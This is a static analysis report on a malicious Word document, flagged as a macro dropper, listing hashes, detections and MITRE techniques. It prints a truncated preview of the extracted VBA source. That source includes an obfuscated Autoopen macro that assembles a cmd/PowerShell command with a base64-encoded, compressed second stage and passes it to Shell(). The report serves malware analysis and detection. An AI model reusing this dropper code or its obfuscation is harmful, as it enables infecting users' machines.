Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 2bf857edaff236b0…

MALICIOUS

Office (OLE)

102.8 KB Created: 2018-06-05 20:45:00 Authoring application: Microsoft Office Word First seen: 2018-06-21
MD5: 03996624a1a8325faa8896a35778c0f2 SHA-1: fa95f8107d709ff93e0dcaf3d6f939f91931ddd0 SHA-256: 2bf857edaff236b0b89e9e41bd3105ac4bcf44a47cb24c27bfaef2b402b0be8f
242 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File T1059 Command and Scripting Interpreter

The sample contains VBA macros with an Autoopen function that calls Shell(), indicating an attempt to execute arbitrary code. The ClamAV detection 'Doc.Dropper.Agent-6574716-0' strongly suggests this is a dropper. The script attempts to construct a command string, likely for downloading and executing a second-stage payload, though the exact command is heavily obfuscated.

Heuristics 7

  • ClamAV: Doc.Dropper.Agent-6574716-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Dropper.Agent-6574716-0
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 11698 bytes
SHA-256: 9ece8bb0fb78d0c70cecb7cfb64fef8acc7d37dc652b9b3949e33194398e20f8
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "zkMqhMKNSRvnmL"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Function oRHwwppwfw()
On Error Resume Next
QSfzDf = Hex(fHoBh + Hex(jQjJc) * 27312 + Round(LZXsNn))
EUahO = Cos(TRMla)
wwVdBX = CDate(vmQIP)
dVPrvm = Cos(PNFLjH)
htREwj = Hex(RfqvVU + Hex(sfnMLu) * 69973 + Round(DaQwnQ))
qJzukp = Cos(VMJjq)
qZvaS = CDate(XiRwVN)
CprnA = Cos(fjojwa)
oRHwwppwfw = ZBTaLYD + Shell(JcsQhFaQq + Chr(btjzzYTrLK + vbKeyC + FrMWmQh) + nvFBdnYjO + PiNIDQ + fzMGvhQFq + KIcJrNkdt + uTLhHaRvBfd, 94933 - 94933)
BpKbCf = Hex(Yniiq + Hex(rtzYKb) * 63367 + Round(mMdYJl))
cCtzz = Cos(vhYqwq)
fPKMz = CDate(DmjPV)
tDOdj = Cos(tusvk)
End Function
Sub Autoopen()
On Error Resume Next
hqzwLa = Hex(OlXBWC + Hex(aohYt) * 75919 + Round(bFfjE))
oCwRjf = Cos(fHXGb)
hGkWB = CDate(bPbEMT)
zNFkS = Cos(GitMp)
oRHwwppwfw
SrclT = Hex(azkGR + Hex(idoddM) * 96269 + Round(zhhLZW))
qUanu = Cos(QjzwdH)
mWRqwP = CDate(obcEh)
GIkJR = Cos(zMjcJ)
End Sub


Attribute VB_Name = "WvSuofAEK"
Function nvFBdnYjO()
On Error Resume Next
lCjPV = Hex(bTcbH + Hex(VnRIP) * 25068 + Round(HfhElr))
UsTnzz = Cos(YMEiSA)
BEDls = CDate(tzVXw)
nvhEw = Cos(XXEiAo)
cdFzoEp = "md dRBi" + "iYHtz Shj" + "sKpAbdX" + "pKSjVSTo" + " SwrTKc" + "IJURJE &     %^" + "c^o^m^S^p^E^c^" + "%     %^c^o^" + "m^S^p^E^c^%    "
KHzaMa = Hex(MKGbdS + Hex(bEUXvr) * 46739 + Round(BrIGk))
dTSDPI = Cos(IvZJzz)
doGaf = CDate(wTjLE)
FAGFSF = Cos(CjrnXO)
XFSJGDH = " /" + "V  " + "    " + "   /c         " + "  set" + " %EKUJiJPMzbo" + "StnG%=" + "wNGnFSuV"
KSIvO = Hex(rKjMlh + Hex(jwJjGz) * 34871 + Round(hCpGD))
wilBi = Cos(VtdKn)
GFuUuU = CDate(iJEZHj)
wHcQS = Cos(KrujuL)
isKdMsEYbW = "pMih&" + "&set %" + "lZAMz" + "koGNK%=p&&" + "set %ziEdqLitA"
VFmUz = Hex(JsMINH + Hex(UYzsF) * 57185 + Round(KPNQN))
wmPKOa = Cos(SPYXkZ)
XfjwP = CDate(zUmuC)
QrrGsV = Cos(IzXdC)
COjkqMA = "zUY%=o^w&&set" + " %jqHLGS" + "kAzamIEbj%=I" + "YaWVZLHKWzmP&" + "&set " + "%HTzjhd" + "CohlQm%=!%lZAM" + "zk" + "oGN" + "K%!&&set %zTV"
mYDEzZ = Hex(fRwff + Hex(AEtiz) * 40393 + Round(nJraJ))
BdRPAC = Cos(EcjuPn)
uvzuL = CDate(iVCOSX)
tHdhc = Cos(SYiOCw)
fiwKdSf = "ahfGTcMaCGlY" + "%=wjdj" + "DNRmL" + "MH&&set " + "%TjhoPqzqjii%=e" + "^r&&set %AHISs" + "Akdjj%=!%ziEd" + "qLitAz" + "UY%" + "!&&se"
zKXUzO = Hex(ANrJz + Hex(iCjaD) * 92645 + Round(unwzCS))
UwPhw = Cos(idUziO)
KHjPT = CDate(NNQrEK)
TjJNY = Cos(husDw)
ImjScmvA = "t %Ycwmjzoq" + "wRrzDw%=s&&s" + "et %fAAkTwkwH" + "RiWvcX%=MAUOnmj"
NzjEi = Hex(rorSmH + Hex(fTEGDE) * 21227 + Round(qizUH))
RhKSD = Cos(EGjhIi)
MWOAw = CDate(ftwcn)
znoWVj = Cos(bKaHhz)
SlpPvaSRzPu = "MmVC&" + "&s" + "et %cpZaQBX" + "%=he&" + "&set %SD" + "AqWKuRAVjR"
ZcYjXw = Hex(vwzcd + Hex(SbfTF) * 43179 + Round(EuQkOA))
HzmPj = Cos(ObCUO)
pSDoo = CDate(riSziH)
LVdfM = Cos(VXaOwL)
uQibGvPcL = "i%=ll&&!%HTzjhd" + "CohlQm%!!%" + "AHISs" + "Akdjj%!!" + "%TjhoPqzqji" + "i%!!%YcwmjzoqwR" + "rzDw%!!%cpZ" + "aQBX%!!%SD"
nvFBdnYjO = cdFzoEp + XFSJGDH + isKdMsEYbW + COjkqMA + fiwKdSf + ImjScmvA + SlpPvaSRzPu + uQibGvPcL
End Function
Function PiNIDQ()
On Error Resume Next
vcoqYL = Hex(AhLAF + Hex(qWWFHU) * 59214 + Round(Vfkwq))
shOEHd = Cos(wOqbb)
CBdJd = CDate(lzwBV)
bhXZz = Cos(tiiMT)
NzGuhrM = "AqWKuRAVjRi" + "%!  -e I" + "AAoACAATgBlAHc" + "ALQBPAGIAagBlA" + "GMAVAAgACAAaQBv" + "AC4Acw" + "B0AFIAR" + "QBhAE0AUg"
HtcXr = Hex(jdjBc + Hex(rVHXF) * 67464 + Round(jswfwj))
Rmiso = Cos(hKCkwN)
qUrba = CDate(LibvW)
vSnaLN = Cos(qTqtvn)
OHJnhW = "BlAGEAZABlAFIAK" + "AAgACgA" + "TgBlAH" + "cALQBPAGI" + "AagBlAG" + "MA" + "VAA" + "gAGkATw" + "AuAG"
lihTX = Hex(rdCLBV + Hex(rVqpq) * 23020 + Round(tYukr))
PXmAb = Cos(oNTjBI)
ulRPc = CDate(pIpVc)
CjXTN = Cos(wcALUr)
JiqZhz = "MA" + "TwBNAHAAcgB" + "lAHMAcwBpAE8" + "ATgAuAEQA" + "RQBGA"
jFhrX = Hex(pjSRib + Hex(SLBOa) * 3848 + Round(wYMQu))
zEjXj = Cos(aNsTI)
RjnVk = CDate(trERl)
mk
... (truncated)

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